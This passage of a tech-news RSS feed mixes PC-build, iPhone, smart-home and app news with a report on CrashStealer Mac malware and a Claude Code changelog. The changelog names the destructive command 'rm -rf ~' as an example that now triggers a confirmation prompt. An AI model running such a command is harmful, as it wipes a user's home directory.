<link>https://tsecurity.de/de/3670825/videos/how-to-install-an-aio-cpu-cooler-part5-how-to-build-a-pc-for-beginners/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670825/videos/how-to-install-an-aio-cpu-cooler-part5-how-to-build-a-pc-for-beginners/</guid>
<pubDate>Wed, 15 Jul 2026 15:33:14 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Shannon Morse - Bewertung: 13x - Views:52 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/qJ56ryh7nPE?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>💧 Liquid cooling sounds intimidating... but it's actually one of the easiest parts of a modern PC build! <br />
<br />
In this episode of my PC Build Series, I'll walk you through installing an ASUS ROG Ryujin III ARGB Extreme AIO cooler onto an AMD Ryzen 9 9950X system. We'll cover what an AIO actually is, why CPUs need cooling, proper airflow, radiator placement, thermal paste, fan orientation, pump installation, and how to connect everything correctly.<br />
<br />
Whether you're building your very first PC or just want to avoid common mistakes, this guide will help make liquid cooling a whole lot less scary.<br />
<br />
Support the channel!<br />
❤️ Patreon: https://patreon.com/shannonmorse<br />
⭐ Become a YouTube Member!<br />
<br />
#PCBuild #PCBuilding #CustomPC #LiquidCooling #AIO #ASUSROG #AMD #Ryzen9950X #GamingPC #TechTutorial<br />
<br />
https://www.ifixit.com/products/pro-tech-toolkit<br />
My build: https://pcpartpicker.com/user/snubsie/saved/#view=Htk84D <br />
<br />
📺<br />
Watch the Full PC Build Series: https://www.youtube.com/playlist?list=PLeYHKbaShxTHQVUHZfM8_44pjyI9LLzfe<br />
<br />
* Parts List (and best deals!) // Affiliate links:<br />
- Prices may differ<br />
CPU: AMD Ryzen 9 9950X 4.3 GHz 16-Core Processor ($519.00 @ Amazon)<br />
Amazon: https://amzn.to/3O70PIU<br />
Best Buy: https://bestbuycreators.7tiv.net/YRWkZq<br />
B&H: https://bhpho.to/3PjZZcr<br />
<br />
CPU Cooler: Asus ROG Ryujin III ARGB Extreme 89.73 CFM Liquid CPU Cooler ($389.99 @ Amazon)<br />
Amazon: https://amzn.to/4bkdodD<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/DyDM4q<br />
B&H: https://bhpho.to/46EWdR4<br />
<br />
Motherboard: Asus ROG STRIX X870-A GAMING WIFI ATX AM5 Motherboard ($234.99 @ Amazon)<br />
Amazon: https://amzn.to/3NI9tO0<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/bORgn6<br />
B&H: https://bhpho.to/4ubyfa7<br />
<br />
Memory: Kingston FURY Beast RGB 64 GB (2 x 32 GB) DDR5-6400 CL32 Memory ($1359.99 @ Newegg - OOS) x 2<br />
Amazon: https://amzn.to/49SZug7<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/2anB4G<br />
<br />
Storage: Kingston NV3 2 TB M.2-2280 PCIe 4.0 X4 NVME Solid State Drive ($311.99 @ Amazon)<br />
Amazon: https://amzn.to/4bSOyBO<br />
Best Buy: https://bestbuycreators.7tiv.net/vPeg7N<br />
B&H: https://bhpho.to/4bpm9m9<br />
<br />
Storage: Kingston FURY Renegade G5 2.048 TB M.2-2280 PCIe 5.0 X4 NVME Solid State Drive ($424.99 @ iBUYPOWER)<br />
Amazon: https://amzn.to/4pTv8QB<br />
Best Buy: https://bestbuycreators.7tiv.net/N9AYrN<br />
B&H: https://bhpho.to/40dqbYK<br />
<br />
Video Card: Asus TUF GAMING OC GeForce RTX 5080 16 GB Video Card ($1699.99 @ B&H)<br />
Amazon: https://amzn.to/3NNmKos<br />
Best Buy: https://bestbuycreators.7tiv.net/GKrYLB<br />
B&H: https://bhpho.to/46HyuQb<br />
<br />
Case: Asus A31 ATX Mid Tower Case ($64.98 @ Amazon)<br />
Amazon: https://amzn.to/4bTH8yd<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/7a3BZO<br />
Newegg: https://click.linksynergy.com/link?id=qn*xL%2FagfY4&offerid=1786142.445837726262477428148556&type=2&murl=https%3A%2F%2Fwww.newegg.com%2Fasus-atx-mid-tower-a31-tg-steel-plastic-tempered-glass-computer-case-white%2Fp%2FN82E16811173067%3Fitem%3DN82E16811173067<br />
B&H: https://bhpho.to/4d3Fyu8<br />
<br />
Power Supply: Asus TUF Gaming 1000G 1000 W 80+ Gold Certified Fully Modular ATX Power Supply ($179.99 @ Amazon)<br />
Amazon: https://amzn.to/4qSDWHG<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/LKeYQO<br />
Newegg: https://click.linksynergy.com/link?id=qn*xL%2FagfY4&offerid=1786142.445835163683945762036176&type=2&murl=https%3A%2F%2Fwww.newegg.com%2Fasus-atx-3-0-compatible-atx12v-1000-w-80-plus-gold-certified-power-supply-tuf-gaming-1000g%2Fp%2FN82E16817320029%3Fitem%3DN82E16817320029<br />
B&H: https://bhpho.to/3N1pqPq<br />
<br />
Case Fan: Asus TUF GAMING TF120 ARGB White 76 CFM 120 mm Fan ($14.99 @ Amazon)<br />
Amazon: https://amzn.to/3YWIbG7<br />
Best Buy: https://bestbuycreators.7tiv.net/QjVx5z<br />
Newegg: https://click.linksynergy.com/link?id=qn*xL%2FagfY4&offerid=1786142.4458310460165103099108139&type=2&murl=https%3A%2F%2Fwww.newegg.com%2Fasus-tuf-gaming-tf120-argb-white-case-fan%2Fp%2FN82E16835101094%3Fitem%3DN82E16835101094<br />
B&H: https://bhpho.to/4uaSzs9<br />
<br />
Case Fan: Asus TUF Gaming TR120 ARGB 77.4 CFM 120 mm Fans 3-Pack ($68.54 @ Amazon)<br />
Amazon: https://amzn.to/4rzKNpN<br />
Best Buy: https://bestbuycreators.7tiv.net/55OBVD<br />
Newegg: https://click.linksynergy.com/link?id=qn*xL%2FagfY4&offerid=1786142.4458310460165103099108139&type=2&murl=https%3A%2F%2Fwww.newegg.com%2Fasus-tuf-gaming-tf120-argb-white-case-fan%2Fp%2FN82E16835101094%3Fitem%3DN82E16835101094<br />
B&H: https://bhpho.to/46KcvYO<br />
<br />
<br />
<br />
<br />
Today's Goal<br />
00:43 Why CPUs Need Cooling<br />
02:01 What Is an AIO Cooler?<br />
03:05 Understanding the Parts<br />
04:14 Patreon Shoutout<br />
05:02 Airflow Basics<br />
06:39 Radiator Placement<br />
07:43 Installing the Fans<br />
10:07 Installing the Radiator<br />
11:48 Thermal Paste Explained<br />
13:02 Installing the CPU Block<br />
14:49 Pump & Fan Connections<br />
16:06 Build Progress Review<br />
16:54 Next Episode Preview<br />
<br />
<br />
Editor: @ColleenEdits<br />
<br />
😍 FTC DISCLAIMER 😍<br />
Affiliate links listed above allow me to receive a small commission. <br />
Code of Ethics:<br />
https://www.morsecodecreative.com/code-of-ethics<br />
<br />
FTC: Links marked with * are affiliate links<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Which home security system is recommended? Theres so many, any reviews welcome. I want something that records 24/7 and can be saved.]]></title>
<description><![CDATA[For context I need to get something fast. I'm in court with an ex and need to keep my child and I safe from him. Without giving away too much he's angry, violent and this precaution was recommended by police, shelters and my lawyer warned me as well. So please help me find the right one. I'm tryi...]]></description>
<link>https://tsecurity.de/de/3670617/it-security-nachrichten/which-home-security-system-is-recommended-theres-so-many-any-reviews-welcome-i-want-something-that-records-247-and-can-be-saved/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670617/it-security-nachrichten/which-home-security-system-is-recommended-theres-so-many-any-reviews-welcome-i-want-something-that-records-247-and-can-be-saved/</guid>
<pubDate>Wed, 15 Jul 2026 14:23:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>For context I need to get something fast. I'm in court with an ex and need to keep my child and I safe from him. Without giving away too much he's angry, violent and this precaution was recommended by police, shelters and my lawyer warned me as well. So please help me find the right one. I'm trying to stay under $200 but if it goes above thats fine. </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Mell0wMarshmall0w"> /u/Mell0wMarshmall0w </a> <br> <span><a href="https://www.reddit.com/r/security/comments/1uwjo26/which_home_security_system_is_recommended_theres/">[link]</a></span>   <span><a href="https://www.reddit.com/r/security/comments/1uwjo26/which_home_security_system_is_recommended_theres/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Canva Code 2.0 Adds Visual Web Editing And Custom HTML Imports]]></title>
<description><![CDATA[Canva just released Canva Code 2.0, an updated platform that lets you build and edit websites, applications, and interactive experiences using simple prompts. The company is taking a big step into website creation by letting users type what they want and watch it appear on the screen. It builds o...]]></description>
<link>https://tsecurity.de/de/3670265/ios-mac-os/canva-code-20-adds-visual-web-editing-and-custom-html-imports/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670265/ios-mac-os/canva-code-20-adds-visual-web-editing-and-custom-html-imports/</guid>
<pubDate>Wed, 15 Jul 2026 12:09:58 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Canva just released Canva Code 2.0, an updated platform that lets you build and edit websites, applications, and interactive experiences using simple prompts. The company is taking a big step into website creation by letting users type what they want and watch it appear on the screen. It builds on previous updates to its generation tools and makes the whole process feel much closer to basic graphic design.



Users can build and edit interactive websites with basic prompts



You can start a new project by typing a description, or you can pick from more than 50 fresh templates. If you have already started building a page somewhere else, Canva allows you to import your HTML directly into its system. This makes it easy to move existing projects over to the new workspace and continue tweaking them.



The system places a heavy focus on teamwork and lets multiple people jump in and edit a project at the exact same time. It also ties directly into the main Canva editor, meaning you can pull up your saved brand colors and logos without opening another tab.



You can drag and drop images straight from its built-in library, change fonts, or click any text block to type something new. If you need a hand, you can select specific parts of the page and ask the artificial intelligence to change the layout or rewrite the words for you.



When a project is ready to go live, you have the option to link a custom domain or publish everything on a free Canva web address. The final websites are fully interactive and automatically resize to fit mobile screens.



This update marks a noticeable shift in how Canva operates, moving it from a standard image editor into a serious web publishing tool for small businesses and creators. As AI development pushes forward, visual website builders like this will likely become the standard way people create online spaces.]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Clear Cache on iPhone [Safari & Apps]]]></title>
<description><![CDATA[Clearing the iPhone cache can help if your device feels slow, keeps running out of storage, or websites load oddly. 



For those who don't know, cache is temporary data saved by browsers, apps, or system services to make things load faster. Over time, it builds up and can slow your phone down! 
...]]></description>
<link>https://tsecurity.de/de/3668135/ios-mac-os/how-to-clear-cache-on-iphone-safari-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668135/ios-mac-os/how-to-clear-cache-on-iphone-safari-apps/</guid>
<pubDate>Tue, 14 Jul 2026 15:39:30 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Clearing the iPhone cache can help if your device feels slow, keeps running out of storage, or websites load oddly. 



For those who don't know, cache is temporary data saved by browsers, apps, or system services to make things load faster. Over time, it builds up and can slow your phone down! 



Let’s go step by step and see the best ways to clear cache on iPhone.



Table of contentsHow to clear cache on your iPhone?1. Clear Safari cache and website data2. Use advanced Safari website data removal3. Clear the cache from other browsers4. Clear cache for individual apps5. Clear keyboard cache6. Restart your iPhone to clear system cacheTipsFrequently Asked QuestionsSummaryConclusion



How to clear cache on your iPhone?



1. Clear Safari cache and website data




Open the Settings app.



Scroll down, expand Apps, and tap Safari.



Tap Clear History and Website Data.



Confirm your choice.




This removes browsing history, cookies, and cached web data.



2. Use advanced Safari website data removal




In Settings &gt; Apps &gt; Safari, scroll down to the bottom and tap Advanced.



Tap Website Data.



Swipe left on individual sites to delete them, or tap Remove All Website Data to clear everything.




3. Clear the cache from other browsers




Chrome: Open Chrome, tap the three-dots menu, go to History, then Delete Browsing Data. Select Cached Images and Files and confirm.



Firefox: Open Firefox, tap the menu (three lines), go to Settings, then Data Management. Toggle Cache and clear.



Edge: Open Edge, tap the menu, go to Settings &gt; Privacy, then choose Clear Browsing Data and confirm.



Opera: Open Opera, go to Settings &gt; Clear Browser Data, then select cached files and clear them.



Brave: Open Brave, go to Settings &gt; Privacy, enable cache clearing, then tap Clear Data Now.




Deleting Chrome cache on iPhone



4. Clear cache for individual apps



Most apps do not have a direct “clear cache” button. Instead:




Go to Settings &gt; General &gt; iPhone Storage. 



Select an app, and: 

Tap Offload App to remove the app but keep its data. 



Tap Delete App to remove the app and its cache completely. You can reinstall it from the App Store.






Clearing cache for individual apps on iPhone



5. Clear keyboard cache



Your keyboard learns words and suggestions over time. To reset it:




Go to Settings &gt; General &gt; Transfer or Reset iPhone &gt; Reset.



Tap Reset Keyboard Dictionary and confirm.




Clearing iPhone's keyboard cache



6. Restart your iPhone to clear system cache



Restarting helps flush small system temporary files.




For Face ID models: press and hold the Side button with a Volume button, slide to power off, wait, then turn it back on.



For Home button models: press and hold the Power button until the slider appears.




Tips




Use iPhone Storage under Settings to check which apps use the most space.



Offload apps you rarely use to free storage without losing important data.



Be cautious with third-party “cache cleaner” apps, as most are unnecessary.



Clearing the cache may sign you out of accounts, so keep your login details handy.



Restart your iPhone once in a while for smoother performance.




Frequently Asked Questions



What is cache and why should I clear it? Cache is temporary data that apps and browsers save to speed things up. Clearing it can fix glitches, free up storage, and improve performance.  Will clearing the cache log me out of websites? Yes. Clearing browser cache or website data may sign you out of sites and remove some saved preferences.  How do I clear cache for apps that don’t have a clear option? You can offload the app in Settings to remove it but keep documents and data, or delete and reinstall it to fully clear the cache.  Does restarting clear all cache? Restarting clears small temporary system files, but it does not fully clear the browser or app cache. For that, you need to manually delete the files in Settings.  



Summary




Clear Safari or other browser cache in Settings.



Remove website data selectively using Safari’s advanced settings.



Offload or delete apps to clear their cache.



Reset the keyboard dictionary if predictive text is cluttered.



Restart your iPhone to refresh the system cache.




Conclusion



Clearing the cache on an iPhone is simple and effective for fixing app issues, boosting performance, and freeing up space. Whether you clear Safari data, reset other browsers, offload apps, or just restart your phone, each method plays a role in keeping your device smooth and responsive. 



Make it a habit to clear the cache once in a while, especially if your iPhone starts to feel sluggish.]]></content:encoded>
</item>
<item>
<title><![CDATA[Owning an Apple Home: The broken promise of Matter]]></title>
<description><![CDATA[Matter has been a unifying standard for the smart home, but it hasn't saved users from the complexity it promised to fix. Here's where it falls short in some of our Apple Homes.Matter is supposed to be unifying, but manufacturers are resistant to letting users leave their appsThe smart home start...]]></description>
<link>https://tsecurity.de/de/3667918/ios-mac-os/owning-an-apple-home-the-broken-promise-of-matter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667918/ios-mac-os/owning-an-apple-home-the-broken-promise-of-matter/</guid>
<pubDate>Tue, 14 Jul 2026 14:26:50 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Matter has been a unifying standard for the smart home, but it hasn't saved users from the complexity it promised to fix. Here's where it falls short in some of our <a href="https://appleinsider.com/inside/apple-home" title="Apple Home" data-kpt="1">Apple Homes</a>.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68204-143795-IMG_4768-xl.jpg" alt="Split-screen close-ups of smart home devices: a ceiling light on the left, a smart light bulb in the center, and a smart plug with two outlets on the right" height="738"><br><span>Matter is supposed to be unifying, but manufacturers are resistant to letting users leave their apps</span></div><br>The smart home started life as a disjointed mess and new standards hoped to unify the different platforms. Today, everything feels a little too spread out even with better cross-platform compatibility.<br><br>Don't get me wrong, owning a smart home has been much improved thanks to Matter. The Connectivity Standards Alliance has done great work.<br><br><br> <a href="https://appleinsider.com/articles/26/07/14/owning-an-apple-home-the-broken-promise-of-matter?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244948?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[WhatsApp Beta Tests Custom Cloud Backup to Free Up iCloud Space]]></title>
<description><![CDATA[The popular messaging platform WhatsApp is working on a first-party backup solution for iPhone users. This upcoming change means you will eventually have a choice in how you store your chat history. Instead of relying entirely on Apple for storage, you can keep your message logs and media files d...]]></description>
<link>https://tsecurity.de/de/3667917/ios-mac-os/whatsapp-beta-tests-custom-cloud-backup-to-free-up-icloud-space/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667917/ios-mac-os/whatsapp-beta-tests-custom-cloud-backup-to-free-up-icloud-space/</guid>
<pubDate>Tue, 14 Jul 2026 14:26:49 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The popular messaging platform WhatsApp is working on a first-party backup solution for iPhone users. This upcoming change means you will eventually have a choice in how you store your chat history. Instead of relying entirely on Apple for storage, you can keep your message logs and media files directly on the chat app's own servers. This shift follows similar tests for Android users earlier this year.



Expect two gigabytes of free storage and default chat encryption



The latest beta version reveals that the company plans to offer 2GB of free space right out of the gate. If your chat history is larger than that, it is working on paid tiers. You might see a 50GB plan for about a dollar a month, which matches what Apple charges for its entry-level upgrade. A massive 1TB option is also in development for heavy users.



Security is a major focus here. Backups stored on the new servers will feature end-to-end encryption by default. This is a step up from the current system, where you have to manually turn on advanced data protection to encrypt your files.



The app recommends using a passkey for this, but a standard password or a 64-digit key will work just fine. Neither the messaging company nor its parent company can read your saved chats.



Switching saves your primary storage for photos and daily apps



Right now, chat backups eat into your limited free space on iCloud. Media-heavy chats take up a lot of room quickly. By moving these backups to a dedicated server, you instantly reclaim space for your photos, documents, and other daily essentials.







You do not have to make the switch if you prefer the old method. The current system remains the default choice. If you decide to change over, you can delete your old backup from your phone settings to free up gigabytes of space immediately. Along with other recent interface tweaks like the green dot showing when contacts are online, this feature reveals the company is steadily expanding how you manage your data and presence.



This backup alternative is still in beta testing and not yet ready for public release. The developer has not provided a specific launch date. However, giving users direct control over where their data lives is a practical move that solves a real storage problem. We will keep an eye out for when this rolls out to all users in a future app update.]]></content:encoded>
</item>
<item>
<title><![CDATA[CrashStealer Malware Targets Mac Users Through Fake App Prompts]]></title>
<description><![CDATA[Security researchers have uncovered a new threat targeting Mac computers. A malicious program called "CrashStealer" is currently circulating online, and it is designed to look like a legitimate system tool to trick users into handing over their passwords. The malware is focused on stealing browse...]]></description>
<link>https://tsecurity.de/de/3666747/ios-mac-os/crashstealer-malware-targets-mac-users-through-fake-app-prompts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666747/ios-mac-os/crashstealer-malware-targets-mac-users-through-fake-app-prompts/</guid>
<pubDate>Tue, 14 Jul 2026 04:55:06 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security researchers have uncovered a new threat targeting Mac computers. A malicious program called "CrashStealer" is currently circulating online, and it is designed to look like a legitimate system tool to trick users into handing over their passwords. The malware is focused on stealing browser data, crypto wallet credentials, and passwords saved directly on your computer.



What makes this attack especially dangerous is that the initial download actually passed security checks from Apple and received official notarization. Apple has since revoked the developer credentials, but the campaign highlights how attackers are getting better at sneaking past standard security gates.



Attackers use a fake meeting app to deliver the payload



The attack typically starts with a fake collaboration or meeting app called "Werkbit." Scammers place this download behind a specific meeting PIN, meaning they are likely targeting specific victims directly rather than blasting the link across the public internet.



Once a user downloads and opens the Werkbit app, it quietly reaches out to a remote server and downloads the actual CrashStealer malware in the background. The malware then disguises itself as "CrashReporter," a name chosen to mimic an official macOS crash reporting tool that most users would ignore.



The malware uses fake password prompts to unlock your data



Once installed on your system, CrashStealer generates a pop-up window that looks exactly like a standard Mac authorization prompt. It asks you to enter your system password to grant access for "system administration."



If you enter your password, the malware validates it immediately. It then uses your confirmed password to unlock your Mac login keychain. CrashStealer rapidly copies your saved passwords from browsers, password managers, and crypto extensions. It bundles all this data into an encrypted ZIP file and sends it back to the attackers. The malware also sets itself to run automatically every time you log in, so the threat stays active even if you restart your computer.



If you suspect you have downloaded a suspicious meeting app or entered your password into an unexpected prompt, security experts recommend disconnecting from the internet, changing all major passwords from a safe device, and completely erasing your Mac to perform a clean install.]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.208]]></title>
<description><![CDATA[What's changed

Added screen reader mode: opt-in plain-text rendering for screen reader users. Run claude --ax-screen-reader, set CLAUDE_AX_SCREEN_READER=1, or add "axScreenReader": true to settings.
Added vimInsertModeRemaps setting: map two-key insert-mode sequences like jj to Escape in vim mod...]]></description>
<link>https://tsecurity.de/de/3666678/downloads/v21208/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666678/downloads/v21208/</guid>
<pubDate>Tue, 14 Jul 2026 03:16:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added screen reader mode: opt-in plain-text rendering for screen reader users. Run <code>claude --ax-screen-reader</code>, set CLAUDE_AX_SCREEN_READER=1, or add "axScreenReader": true to settings.</li>
<li>Added <code>vimInsertModeRemaps</code> setting: map two-key insert-mode sequences like <code>jj</code> to Escape in vim mode</li>
<li>Added <code>CLAUDE_CODE_PROCESS_WRAPPER</code>: agent view and the background service now honor a corporate launcher by running every Claude Code self-spawn through a required wrapper executable</li>
<li>Added mouse-click support for multi-select menus and "Other" input rows in fullscreen mode</li>
<li>Fixed fast mode staying off after switching back to a model that supports it — it now restores automatically when enabled in settings</li>
<li>Fixed replies typed to a background agent being lost when delivery fails — the text is now saved and delivered when the session restarts</li>
<li>Fixed background-session attach failing permanently ("Couldn't start the background daemon") after an update replaced the binary a running <code>claude agents</code> process was launched from</li>
<li>Fixed the context window (and auto-compact indicator) briefly resetting to 200k after the CLI auto-updates, causing a false "100% context used" when resuming long-context sessions</li>
<li>Fixed supervised and background sessions crashing when a server closed an HTTP/2 connection with a GOAWAY while requests were in flight</li>
<li>Fixed truncated stream-json/JSON output and missing result message when piping large responses from <code>claude -p</code></li>
<li>Fixed <code>CLAUDE_CODE_MAX_OUTPUT_TOKENS</code> and similar env vars silently using the mantissa of scientific-notation values (<code>1e6</code> became <code>1</code>)</li>
<li>Fixed very large markdown tables stalling rendering or using excessive memory; tables over 200 rows show the first 200 with a "… N more rows" notice</li>
<li>Fixed the Edit tool failing on files modified after reading when the target text still matches uniquely</li>
<li>Fixed Read reporting empty files as "shorter than offset", Grep silently returning "No files found" for invalid regex patterns, Grep count mode under-reporting totals when paginated, and Glob crashing with an unclear error when the pattern, path, or working directory contained a null byte</li>
<li>Fixed <code>apiKeyHelper</code> script failures being hidden behind a generic 401 after ~10 silent retries; the script's own error is now shown within 3 attempts</li>
<li>Fixed Bedrock streaming requests failing with a misleading "Truncated event message received" when a gateway transforms the response — the error now names the content-type and points at the proxy</li>
<li>Fixed <code>/upgrade</code> showing a login flow instead of the upgrade URL when the browser fails to open</li>
<li>Fixed stream-json input killing the session on blank CRLF or whitespace-only lines from Windows-style SDK hosts</li>
<li>Fixed headless stream-json sessions hanging permanently when a <code>control_request</code> carried a non-string <code>set_model</code> payload; the CLI now answers with an error response</li>
<li>Fixed repeated "No completion record was found" notices on session resume — orphaned background tasks now collapse into a single summary</li>
<li>Fixed Remote Control clients attaching to a terminal-hosted session not seeing background agents and workflow progress until a task started or stopped</li>
<li>Fixed the Agent tool launching with no tools when a subagent's <code>tools</code> list resolves to nothing — it now returns a clear error naming the unrecognized entries</li>
<li>Fixed <code>/usage</code> showing stale cached bars over fresher data, and <code>/mcp</code> not reclassifying placeholder servers after config edits</li>
<li>Fixed "Change directory" in SDK hosts (e.g. Claude Desktop) failing with "A turn is in progress" on idle sessions that have a running background task</li>
<li>Fixed the workflow save dialog showing <code>~/.claude/workflows/</code> instead of the <code>CLAUDE_CONFIG_DIR</code> location for user-scope saves</li>
<li>Fixed <code>/release-notes</code> adding the viewed notes to the model's context — "Show all" previously injected the entire changelog into every subsequent request</li>
<li>Fixed a memory leak in the agent view where pasted images were retained for the screen's lifetime after sending peek replies</li>
<li>Fixed SDK sessions losing agents defined via the initialize request when a plugin refresh ran before the client attached</li>
<li>Fixed several memory leaks in long sessions: MCP stdio server stderr accumulating up to 64 MB per server, LSP documents staying open indefinitely (now LRU with 50-doc cap), async hook output retained after backgrounding, and unbounded growth in headless/SDK sessions from large tool-result payloads</li>
<li>Fixed a memory blowup when reading files with extremely long single lines using offset/limit — the read now returns a clean error instead of loading the whole line</li>
<li>Fixed multi-second per-turn slowdowns in sessions with many permission deny/ask rules — rule matchers are now compiled once and cached</li>
<li>Improved input responsiveness while agent task lists update — task updates no longer re-render the entire UI</li>
<li>Reduced per-tool-call CPU overhead in print/SDK sessions with many MCP tools by caching tool-pool assembly (up to 7x faster tool rounds at high tool counts)</li>
<li>Reduced memory usage by bounding the file edit read cache to 16 MB instead of pinning up to 1,000 full files</li>
<li>Reduced session transcript size (up to 79x in edit-heavy sessions) and bounded checkpoint disk usage by pruning superseded file-history backups</li>
<li>Reduced memory usage when resuming sessions with background agents or forks spawned from large conversations</li>
<li>Completed background agents now stay listed in <code>/tasks</code> until cleanup instead of vanishing the moment they finish</li>
<li>Attaching to a stopped background agent now shows its transcript immediately while the session warms up, instead of a blank "Session is starting" screen</li>
<li>Background sessions: an older daemon no longer silently restarts workers spawned by a newer version onto the older binary</li>
<li>Agent view: Ctrl+X now deletes renamed-branch worktrees, never destroys unpushed commits, keeps the session row when a worktree is kept, and reused worktree names reset to the current base</li>
<li>Catastrophic removals (e.g. <code>rm -rf ~</code>) in commands containing <code>$(…)</code>/backticks/<code>&lt;(…)</code> now prompt in <code>--dangerously-skip-permissions</code> and auto mode, matching the plain form</li>
<li><code>/install-github-app</code> and the <code>/mcp</code> settings menu no longer open in background sessions</li>
<li>MCP servers configured with an empty URL now show as "not configured" in <code>/mcp</code> instead of a config error</li>
<li><code>/usage</code> now shows your last-known usage bars with an "as of" note when the usage endpoint is rate-limited, instead of an error screen</li>
<li>Fixed Bedrock auth failing with "Session token not found or invalid" for AWS SSO profiles whose sso_region differs from the Bedrock region (2.1.207 regression)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[7 newer data science tools you should be using with Python]]></title>
<description><![CDATA[Python’s rich ecosystem of data science tools is a big draw for users. The only downside of such a broad and deep collection is that sometimes the best tools can get overlooked.



Here’s a rundown of some of the best newer or less-known data science projects available for Python. Some, like Pola...]]></description>
<link>https://tsecurity.de/de/3665680/ai-nachrichten/7-newer-data-science-tools-you-should-be-using-with-python/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665680/ai-nachrichten/7-newer-data-science-tools-you-should-be-using-with-python/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Python’s rich ecosystem of data science tools is a big draw for users. The only downside of such a broad and deep collection is that sometimes the best tools can get overlooked.</p>



<p class="wp-block-paragraph">Here’s a rundown of some of the best newer or less-known data science projects available for <a href="https://www.infoworld.com/article/2254260/how-to-get-started-with-python.html">Python</a>. Some, like Polars, are getting more attention but still deserve wider notice. Others, like ConnectorX, are hidden gems.</p>



<h2 class="wp-block-heading">ConnectorX</h2>



<p class="wp-block-paragraph">Most data sits in a database somewhere, but computation typically happens outside of it. Getting data to and from the database for actual work can be a slowdown. <a href="https://github.com/sfu-db/connector-x">ConnectorX</a> loads data from databases into many common data-wrangling tools in Python, and it keeps things fast by minimizing the work required. Most of the data loading can be done in just a couple of lines of Python code and <a href="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html">an SQL query</a>.</p>



<p class="wp-block-paragraph">Like Polars (which I’ll discuss shortly), ConnectorX uses a <a href="https://www.infoworld.com/article/2258463/rust-tutorial-get-started-with-the-rust-language.html">Rust</a> library at its core. This allows for optimizations like being able to load from a data source in parallel with partitioning. Data in <a href="https://www.infoworld.com/article/3489168/postgresql-tutorial-get-started-with-postgresql-16.html">PostgreSQL</a>, for instance, can be loaded this way by specifying a partition column.</p>



<p class="wp-block-paragraph">Aside from PostgreSQL, ConnectorX also supports reading from MySQL/MariaDB, SQLite, Amazon Redshift, Microsoft SQL Server and Azure SQL, and Oracle. The results can be funneled into a <a href="https://www.infoworld.com/article/2264264/how-to-use-pandas-for-data-analysis-in-python.html">Pandas</a> or PyArrow DataFrame, or into Modin or Dask (via Pandas), or Polars (via PyArrow). General support for reading from ODBC is a work in progress.</p>



<h2 class="wp-block-heading">DuckDB</h2>



<p class="wp-block-paragraph">Data science folks who use Python ought to be aware of <a href="https://www.infoworld.com/article/2337363/why-you-should-use-sqlite-3.html">SQLite</a>—a small, but powerful and speedy relational database packaged with Python. Since it runs as an in-process library, rather than a separate application, SQLite is lightweight and responsive.</p>



<p class="wp-block-paragraph"><a href="https://duckdb.org/">DuckDB</a> is a little like someone answered the question, “<a href="https://www.infoworld.com/article/2336981/duckdb-the-tiny-but-powerful-analytics-database.html">What if we made SQLite for OLAP?</a>” Like other <a href="https://www.infoworld.com/article/2334471/what-is-olap-analytical-databases.html">OLAP</a> database engines, it uses a columnar datastore and is optimized for long-running analytical query workloads. But DuckDB gives you all the things you expect from a conventional database, like ACID transactions. And there’s no separate software suite to configure; you can get it running in a Python environment with a single <code>pip install duckdb</code> command.</p>



